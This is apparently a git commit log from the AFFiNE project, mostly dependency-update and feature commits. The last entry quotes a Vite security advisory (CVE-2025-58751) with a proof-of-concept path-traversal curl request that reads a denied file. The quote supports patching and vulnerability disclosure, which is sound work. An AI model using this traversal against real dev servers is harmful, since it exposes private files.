<li><!-- raw HTML omitted --> <a
href="https://github.com/DigitalBrainJS" title="+4263/-293
([#7006](https://github.com/axios/axios/issues/7006)
[#7003](https://github.com/axios/axios/issues/7003) )">Dmitriy
Mozgovoy</a></li>
<li><!-- raw HTML omitted --> <a href="https://github.com/mkhani01"
title="+111/-15 ([#6982](https://github.com/axios/axios/issues/6982)
)">khani</a></li>
</ul>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="e5a33366d7"><code>e5a3336</code></a>
chore(release): v1.12.2 (<a
href="https://redirect.github.com/axios/axios/issues/7031">#7031</a>)</li>
<li><a
href="38726c7586"><code>38726c7</code></a>
refactor: change if in else to else if (<a
href="https://redirect.github.com/axios/axios/issues/7028">#7028</a>)</li>
<li><a
href="cf78825e12"><code>cf78825</code></a>
fix(fetch): use current global fetch instead of cached one when env
fetch is ...</li>
<li><a
href="c26d00f451"><code>c26d00f</code></a>
refactor: remove redundant assignment (<a
href="https://redirect.github.com/axios/axios/issues/7029">#7029</a>)</li>
<li><a
href="9fb41a8fcd"><code>9fb41a8</code></a>
chore(ci): add local HTTP server for Karma tests; (<a
href="https://redirect.github.com/axios/axios/issues/7022">#7022</a>)</li>
<li><a
href="19f9f36850"><code>19f9f36</code></a>
docs(readme): add custom fetch section; (<a
href="https://redirect.github.com/axios/axios/issues/7024">#7024</a>)</li>
<li><a
href="3cac78c2de"><code>3cac78c</code></a>
chore(release): v1.12.1 (<a
href="https://redirect.github.com/axios/axios/issues/7021">#7021</a>)</li>
<li><a
href="b5f26b75bd"><code>b5f26b7</code></a>
fix(types): fixed env config types; (<a
href="https://redirect.github.com/axios/axios/issues/7020">#7020</a>)</li>
<li><a
href="0d8ad6e1de"><code>0d8ad6e</code></a>
chore(release): v1.12.0 (<a
href="https://redirect.github.com/axios/axios/issues/7013">#7013</a>)</li>
<li><a
href="fd7f404488"><code>fd7f404</code></a>
fix: release pr run</li>
<li>Additional commits viewable in <a
href="https://github.com/axios/axios/compare/v1.9.0...v1.12.2">compare
view</a></li>
</ul>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=axios&package-manager=npm_and_yarn&previous-version=1.9.0&new-version=1.12.2)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot merge` will merge this PR after your CI passes on it
- `@dependabot squash and merge` will squash and merge this PR after
your CI passes on it
- `@dependabot cancel merge` will cancel a previously requested merge
and block automerging
- `@dependabot reopen` will reopen this PR if it is closed
- `@dependabot close` will close this PR and stop Dependabot recreating
it. You can achieve the same result by closing it manually
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
You can disable automated security fix PRs for this repo from the
[Security Alerts
page](https://github.com/toeverything/AFFiNE/network/alerts).

</details>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-09-21 18:34:43 +00:00
Jachin
e08fc5ef06 feat(server): change the playground option to GraphiQL. (#13451)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* The GraphQL interactive UI is now available only in development
environments and will not be accessible in production. This change
affects only the availability of the interactive interface; public
exports and API context types remain unchanged. Users in development can
continue to use the tool as before, while production deployments will no
longer expose the interactive UI.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-09-21 16:08:30 +00:00
Finn Weigand
363f64ebfa feat: add dedicated sign-up config for oauth (#13610)
Currently, it is only possible to disable all registrations. However, it
would be helpful if you could disable normal registration but enable
OAuth registration.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Added a setting to enable/disable new user signups via OAuth (default:
enabled).
* Admin Settings (Authentication) now includes a toggle for OAuth
signups.
* OAuth signup flow now respects this setting, preventing new
registrations via OAuth when disabled.
  * Self-hosted configuration schema updated to include the new option.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Signed-off-by: Hudint Finn Weigand <dev@hudint.de>
Co-authored-by: DarkSky <darksky2048@gmail.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-09-21 15:38:25 +00:00
renovate[bot]
21bb8142b0 chore: bump up Recouse/EventSource version to from: "0.1.5" (#13620)
Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs
from Renovate will soon appear from 'Mend'. Learn more
[here](https://redirect.github.com/renovatebot/renovate/discussions/37842).

This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
| [Recouse/EventSource](https://redirect.github.com/Recouse/EventSource)
| patch | `from: "0.1.4"` -> `from: "0.1.5"` |

---

### Release Notes

<details>
<summary>Recouse/EventSource (Recouse/EventSource)</summary>

###
[`v0.1.5`](https://redirect.github.com/Recouse/EventSource/releases/tag/0.1.5)

[Compare
Source](https://redirect.github.com/Recouse/EventSource/compare/0.1.4...0.1.5)

#### What's Changed

- Fix potential data corruption by
[@&#8203;Recouse](https://redirect.github.com/Recouse) in
[#&#8203;30](https://redirect.github.com/Recouse/EventSource/pull/30)
- Concurrency improvements by
[@&#8203;Recouse](https://redirect.github.com/Recouse) in
[#&#8203;31](https://redirect.github.com/Recouse/EventSource/pull/31)
- Update EventParser.swift to Support CR LF by
[@&#8203;Lakr233](https://redirect.github.com/Lakr233) in
[#&#8203;28](https://redirect.github.com/Recouse/EventSource/pull/28)

#### New Contributors

- [@&#8203;Lakr233](https://redirect.github.com/Lakr233) made their
first contribution in
[#&#8203;28](https://redirect.github.com/Recouse/EventSource/pull/28)

**Full Changelog**:
<https://github.com/Recouse/EventSource/compare/0.1.4...0.1.5>

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS45Ny4xMCIsInVwZGF0ZWRJblZlciI6IjQxLjk3LjEwIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-09-21 14:54:00 +00:00
Bl4ckspell
750b008dc8 feat(android): add monochrome icon support (#13527)
Add missing themed icon support for android app icon.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Android app icon now supports a monochrome variant for adaptive icons,
enabling themed icons on compatible launchers.
* Improved icon consistency and visibility across system themes
(including dark mode).
  * Applied to both standard and round launcher icons.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-21 14:51:10 +00:00
renovate[bot]
d231b47f1f chore: bump up nestjs (#13614)
Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs
from Renovate will soon appear from 'Mend'. Learn more
[here](https://redirect.github.com/renovatebot/renovate/discussions/37842).

This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [@nestjs/bullmq](https://redirect.github.com/nestjs/bull) | [`11.0.2`
->
`11.0.3`](https://renovatebot.com/diffs/npm/@nestjs%2fbullmq/11.0.2/11.0.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fbullmq/11.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fbullmq/11.0.2/11.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/common](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common))
| [`11.1.5` ->
`11.1.6`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/11.1.5/11.1.6)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/11.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/11.1.5/11.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/core](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core))
| [`11.1.5` ->
`11.1.6`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/11.1.5/11.1.6)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/11.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/11.1.5/11.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/platform-express](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express))
| [`11.1.5` ->
`11.1.6`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/11.1.5/11.1.6)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/11.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/11.1.5/11.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/platform-socket.io](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io))
| [`11.1.5` ->
`11.1.6`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/11.1.5/11.1.6)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/11.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/11.1.5/11.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/schedule](https://redirect.github.com/nestjs/schedule) |
[`6.0.0` ->
`6.0.1`](https://renovatebot.com/diffs/npm/@nestjs%2fschedule/6.0.0/6.0.1)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fschedule/6.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fschedule/6.0.0/6.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets))
| [`11.1.5` ->
`11.1.6`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/11.1.5/11.1.6)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/11.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/11.1.5/11.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>nestjs/bull (@&#8203;nestjs/bullmq)</summary>

###
[`v11.0.3`](https://redirect.github.com/nestjs/bull/releases/tag/%40nestjs/bullmq%4011.0.3)

[Compare
Source](https://redirect.github.com/nestjs/bull/compare/@nestjs/bullmq@11.0.2...@nestjs/bullmq@11.0.3)

#### What's Changed

- feat(bullmq): add telemetry support for workers by
[@&#8203;noeljackson](https://redirect.github.com/noeljackson) in
[#&#8203;2585](https://redirect.github.com/nestjs/bull/pull/2585)

#### New Contributors

- [@&#8203;noeljackson](https://redirect.github.com/noeljackson) made
their first contribution in
[#&#8203;2585](https://redirect.github.com/nestjs/bull/pull/2585)

**Full Changelog**:
<https://github.com/nestjs/bull/compare/@nestjs/bull-shared@11.0.0...@&#8203;nestjs/bullmq@11.0.3>

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

###
[`v11.1.6`](https://redirect.github.com/nestjs/nest/releases/tag/v11.1.6)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v11.1.5...v11.1.6)

##### v11.1.6 (2025-08-07)

##### Bug fixes

- `core`
- [#&#8203;15504](https://redirect.github.com/nestjs/nest/pull/15504)
fix(core): fix race condition in class dependency resolution from
imported modules
([@&#8203;hajekjiri](https://redirect.github.com/hajekjiri))
- [#&#8203;15469](https://redirect.github.com/nestjs/nest/pull/15469)
fix(core): attach root inquirer for nested transient providers
([@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec))
- `microservices`
- [#&#8203;15508](https://redirect.github.com/nestjs/nest/pull/15508)
fix(microservices): report correct buffer length in exception
([@&#8203;kim-sung-jee](https://redirect.github.com/kim-sung-jee))
- [#&#8203;15492](https://redirect.github.com/nestjs/nest/pull/15492)
fix(microservices): fix kafka serilization of class instances
([@&#8203;LeonBiersch](https://redirect.github.com/LeonBiersch))

##### Dependencies

- `platform-fastify`
- [#&#8203;15493](https://redirect.github.com/nestjs/nest/pull/15493)
chore(deps): bump
[@&#8203;fastify/cors](https://redirect.github.com/fastify/cors) from
11.0.1 to 11.1.0
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))

##### Committers: 6

- Jiri Hajek
([@&#8203;hajekjiri](https://redirect.github.com/hajekjiri))
- Kamil Mysliwiec
([@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec))
- Leon Biersch
([@&#8203;LeonBiersch](https://redirect.github.com/LeonBiersch))
- Seongjee Kim
([@&#8203;kim-sung-jee](https://redirect.github.com/kim-sung-jee))
- [@&#8203;premierbell](https://redirect.github.com/premierbell)
- pTr ([@&#8203;ptrgits](https://redirect.github.com/ptrgits))

</details>

<details>
<summary>nestjs/schedule (@&#8203;nestjs/schedule)</summary>

###
[`v6.0.1`](https://redirect.github.com/nestjs/schedule/releases/tag/6.0.1)

[Compare
Source](https://redirect.github.com/nestjs/schedule/compare/6.0.0...6.0.1)

#### What's Changed

- Add threshold to CronOptions by
[@&#8203;arjunatlightspeed](https://redirect.github.com/arjunatlightspeed)
in [#&#8203;2085](https://redirect.github.com/nestjs/schedule/pull/2085)
- refactor : clear jobs before application shutdown by
[@&#8203;spotlight21c](https://redirect.github.com/spotlight21c) in
[#&#8203;2053](https://redirect.github.com/nestjs/schedule/pull/2053)
- fix(deps): update dependency cron to v4.3.3 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;2001](https://redirect.github.com/nestjs/schedule/pull/2001)

#### New Contributors

-
[@&#8203;arjunatlightspeed](https://redirect.github.com/arjunatlightspeed)
made their first contribution in
[#&#8203;2085](https://redirect.github.com/nestjs/schedule/pull/2085)
- [@&#8203;spotlight21c](https://redirect.github.com/spotlight21c) made
their first contribution in
[#&#8203;2053](https://redirect.github.com/nestjs/schedule/pull/2053)

**Full Changelog**:
<https://github.com/nestjs/schedule/compare/6.0.0...6.0.1>

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions) if
that's undesired.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS45Ny4xMCIsInVwZGF0ZWRJblZlciI6IjQxLjk3LjEwIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-09-21 14:35:11 +00:00
Richard Lora
4efbb630fc fix(core): correct emoji extraction logic using regex (#12749)
https://github.com/user-attachments/assets/ef612f34-0388-49a2-bcad-0cac07a5f785

This PR solves the issue where a majority of emoji's are unable to
become the document or folders icon.

The regex used is below with the test string of a variety of emoji's:
https://regex101.com/r/0anB6Z/1

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-09-21 22:43:46 +08:00
renovate[bot]
19bd29e90c chore: bump up apple/swift-collections version to from: "1.2.1" (#13535)
Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs
from Renovate will soon appear from 'Mend'. Learn more
[here](https://redirect.github.com/renovatebot/renovate/discussions/37842).

This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
|
[apple/swift-collections](https://redirect.github.com/apple/swift-collections)
| patch | `from: "1.2.0"` -> `from: "1.2.1"` |

---

### Release Notes

<details>
<summary>apple/swift-collections (apple/swift-collections)</summary>

###
[`v1.2.1`](https://redirect.github.com/apple/swift-collections/releases/tag/1.2.1):
Swift Collections 1.2.1

[Compare
Source](https://redirect.github.com/apple/swift-collections/compare/1.2.0...1.2.1)

This is a patch release with the following minor improvements:

- `BigString` sometimes miscounted distances in its character view,
resulting in an invalid collection conformance. This is now fixed.
([#&#8203;485](https://redirect.github.com/apple/swift-collections/issues/485))
- `BigString`'s Unicode Scalar and character views now make better use
of known lengths of the text chunks stored in the tree, resulting in
significantly improved performance for their distance measurements.
([#&#8203;486](https://redirect.github.com/apple/swift-collections/issues/486))
- The Foundation-specific toolchain configuration was updated to include
the Deque type.
([#&#8203;496](https://redirect.github.com/apple/swift-collections/issues/496))

#### What's Changed

- \[BigString] Fix character indexing operations by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;485](https://redirect.github.com/apple/swift-collections/pull/485)
- \[BigString] Harvest some low-hanging performance fruit by
[@&#8203;lorentey](https://redirect.github.com/lorentey) in
[#&#8203;486](https://redirect.github.com/apple/swift-collections/pull/486)
- Include DequeModule in the Foundation toolchain build by
[@&#8203;cthielen](https://redirect.github.com/cthielen) in
[#&#8203;496](https://redirect.github.com/apple/swift-collections/pull/496)

**Full Changelog**:
<https://github.com/apple/swift-collections/compare/1.2.0...1.2.1>

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS44Mi43IiwidXBkYXRlZEluVmVyIjoiNDEuOTcuMTAiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-09-21 14:22:59 +00:00
ShellWen | 颉文, Chen Chang
2a2793eada fix: Correct spacing in AI partner description (#13593)
Fixed spacing issue in AI partner description.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Documentation**
* Improved readability by fixing a minor punctuation/spacing issue in
the project’s introductory text (added a space after a comma).
* Polished wording to better reflect professional tone without altering
meaning.
  * No changes to functionality, configuration, or user workflows.
  * No impact on APIs, interfaces, or compatibility.
* No additional steps required for users; purely a documentation
refinement.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-21 22:17:32 +08:00
Cats Juice
b6a3241451 chore(core): hide embedding status in chat (#13605)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Style**
* Simplified the AI chat composer tip: removed the dynamic
embedding-status tooltip so only a single static caution remains — “AI
outputs can be misleading or wrong.”
* **Tests**
* One end-to-end test related to embedding status was commented out and
is no longer executed.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-19 11:40:39 +00:00
Lakr
360c9545f4 feat(ios): [IAP] Paywall Initial Commit (#13609)
Requires https://github.com/toeverything/AFFiNE/pull/13606 to be merged.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Introduced an in-app Paywall with Pro, AI, and Believer plans, feature
previews, paging dots, and selectable pricing options.
- Added purchase and restore actions, plus a unified, polished UI using
new color/icon resources.

- Documentation
  - Added Swift Code Style Guidelines.

- Chores
- Updated dependencies (including MarkdownView 3.4.2), added new
resource packages, and removed an unused dependency.
  - Raised iOS deployment target to 16.5 and refreshed project settings.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-09-19 11:01:46 +00:00
Lakr
1f228382c2 chore: fix building the app (#13606)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
  - Built-in Then-style DSL for fluent configuration.
- Centralized theming via a new resources library exposing standardized
colors and icons for SwiftUI and UIKit.

- Refactor
  - Migrated color and icon accessors to the new resources provider.
  - Removed redundant imports and streamlined UI configuration.

- Dependencies
  - Updated MarkdownView to 3.4.2.
- Removed the Then third-party dependency; updated package sources;
added resources package and assets.

- Documentation
  - Added iOS Swift code style and architecture guidelines.

- Chores
  - Updated Xcode project format and repository ignore rules.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-19 06:05:05 +00:00
DarkSky
ee77c548ca feat: get prompt model names (#13607)
fix AI-419

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- New API to fetch available models for a prompt, returning default,
optional, and pro models with human‑readable names.
- Added temperature and topP settings to prompt configuration for finer
control.
- Refactor
- When no model is chosen, the default model is used instead of
auto-picking a pro model.
- Model metadata across providers now includes readable names, improving
listings and selection UX.
- Tests
- Updated test snapshots and descriptions to reflect the new
default-model behavior.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-18 12:56:54 +00:00
DarkSky
a0b73cdcec feat: improve model resolve (#13601)
fix AI-419
2025-09-18 10:51:12 +00:00
EYHN
89646869e4 feat(ios): create paywall api (#13602)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- New Features
- Introduced a new iOS Paywall plugin with a simple API to display a
paywall and receive a success response.
  - Added JavaScript wrapper and type definitions for easy integration.

- Refactor
  - Reorganized the iOS project structure for plugins.

- Chores
- Removed unused legacy iOS plugins to streamline the app and reduce
build complexity.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-18 03:47:28 +00:00
L-Sun
34a3c83d84 fix(editor): prevent SwiftKey IME double input (#13590)
Close
[BS-3610](https://linear.app/affine-design/issue/BS-3610/bug-每次按空格会出现重复单词-,特定输入法,比如swiftkey)

#### PR Dependency Tree

* **PR #13591**
  * **PR #13590** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- Bug Fixes
- Android: More reliable Backspace/delete handling, preventing missed
inputs and double-deletions.
- Android: Cursor/selection is correctly restored after merging a
paragraph with the previous block.
- Android: Smoother IME composition input; captures correct composition
range.
- Deletion across lines and around embeds/empty lines is more
consistent.
- Chores
- Internal event handling updated to improve Android compatibility and
stability (no user-facing changes).
<!-- end of auto-generated comment: release notes by coderabbit.ai -->





#### PR Dependency Tree


* **PR #13591**
  * **PR #13590** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
2025-09-16 17:02:54 +08:00
L-Sun
fd717af3db fix(core): update and fix oxlint error (#13591)
#### PR Dependency Tree


* **PR #13591** 👈
  * **PR #13590**

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- Bug Fixes
- Improved drag-and-drop stability: draggables, drop targets, and
monitors now respond when option sources or external data change.
- Improved async actions and permission checks to always use the latest
callbacks and error handlers.

- Chores
  - Lint/Prettier configs updated to ignore the Git directory.
  - Upgraded oxlint dev dependency.

- Tests
- Updated several end-to-end tests for more reliable text selection,
focus handling, and timing.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-16 16:47:43 +08:00
renovate[bot]
039976ee6d chore: bump up vite version to v6.3.6 [SECURITY] (#13573)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [vite](https://vite.dev)
([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite))
| [`6.3.5` ->
`6.3.6`](https://renovatebot.com/diffs/npm/vite/6.3.5/6.3.6) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.3.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.3.5/6.3.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-58751](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-g4jq-h2w9-997c)

### Summary
Files starting with the same name with the public directory were served
bypassing the `server.fs` settings.

### Impact
Only apps that match the following conditions are affected:

- explicitly exposes the Vite dev server to the network (using --host or
[`server.host` config
option](https://vitejs.dev/config/server-options.html#server-host))
- uses [the public directory
feature](https://vite.dev/guide/assets.html#the-public-directory)
(enabled by default)
- a symlink exists in the public directory

### Details
The
[servePublicMiddleware](9719497ade/packages/vite/src/node/server/middlewares/static.ts (L79))
function is in charge of serving public files from the server. It
returns the
[viteServePublicMiddleware](9719497ade/packages/vite/src/node/server/middlewares/static.ts (L106))
function which runs the needed tests and serves the page. The
viteServePublicMiddleware function [checks if the publicFiles variable
is
defined](9719497ade/packages/vite/src/node/server/middlewares/static.ts (L111)),
and then uses it to determine if the requested page is public. In the
case that the publicFiles is undefined, the code will treat the
requested page as a public page, and go on with the serving function.
[publicFiles may be undefined if there is a symbolic link anywhere
inside the public
directory](9719497ade/packages/vite/src/node/publicDir.ts (L21)).
In that case, every requested page will be passed to the public serving
function. The serving function is based on the
[sirv](https://redirect.github.com/lukeed/sirv) library. Vite patches
the library to add the possibility to test loading access to pages, but
when the public page middleware [disables this
functionality](9719497ade/packages/vite/src/node/server/middlewares/static.ts (L89))
since public pages are meant to be available always, regardless of
whether they are in the allow or deny list.

In the case of public pages, the serving function is [provided with the
path to the public
directory](9719497ade/packages/vite/src/node/server/middlewares/static.ts (L85))
as a root directory. The code of the sirv library [uses the join
function to get the full path to the requested
file](d061616827/packages/sirv/index.mjs (L42)).
For example, if the public directory is "/www/public", and the requested
file is "myfile", the code will join them to the string
"/www/public/myfile". The code will then pass this string to the
normalize function. Afterwards, the code will [use the string's
startsWith
function](d061616827/packages/sirv/index.mjs (L43))
to determine whether the created path is within the given directory or
not. Only if it is, it will be served.

Since [sirv trims the trailing slash of the public
directory](d061616827/packages/sirv/index.mjs (L119)),
the string's startsWith function may return true even if the created
path is not within the public directory. For example, if the server's
root is at "/www", and the public directory is at "/www/p", if the
created path will be "/www/private.txt", the startsWith function will
still return true, because the string "/www/private.txt" starts with 
"/www/p". To achieve this, the attacker will use ".." to ask for the
file "../private.txt". The code will then join it to the "/www/p"
string, and will receive "/www/p/../private.txt". Then, the normalize
function will return "/www/private.txt", which will then be passed to
the startsWith function, which will return true, and the processing of
the page will continue without checking the deny list (since this is the
public directory middleware which doesn't check that).

### PoC
Execute the following shell commands:

```
npm  create  vite@latest
cd vite-project/
mkdir p
cd p
ln -s a b
cd ..
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js
echo  "secret" > private.txt
npm install
npm run dev
```

Then, in a different shell, run the following command:

`curl -v --path-as-is 'http://localhost:5173/private.txt'`

You will receive a 403 HTTP Response,  because private.txt is denied.

Now in the same shell run the following command:

`curl -v --path-as-is 'http://localhost:5173/../private.txt'`

You will receive the contents of private.txt.

### Related links
-
f0113f3f82

####
[CVE-2025-58752](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-jqfw-vq24-v9c3)

### Summary
Any HTML files on the machine were served regardless of the `server.fs`
settings.

### Impact

Only apps that match the following conditions are affected:

- explicitly exposes the Vite dev server to the network (using --host or
[server.host config
option](https://vitejs.dev/config/server-options.html#server-host))
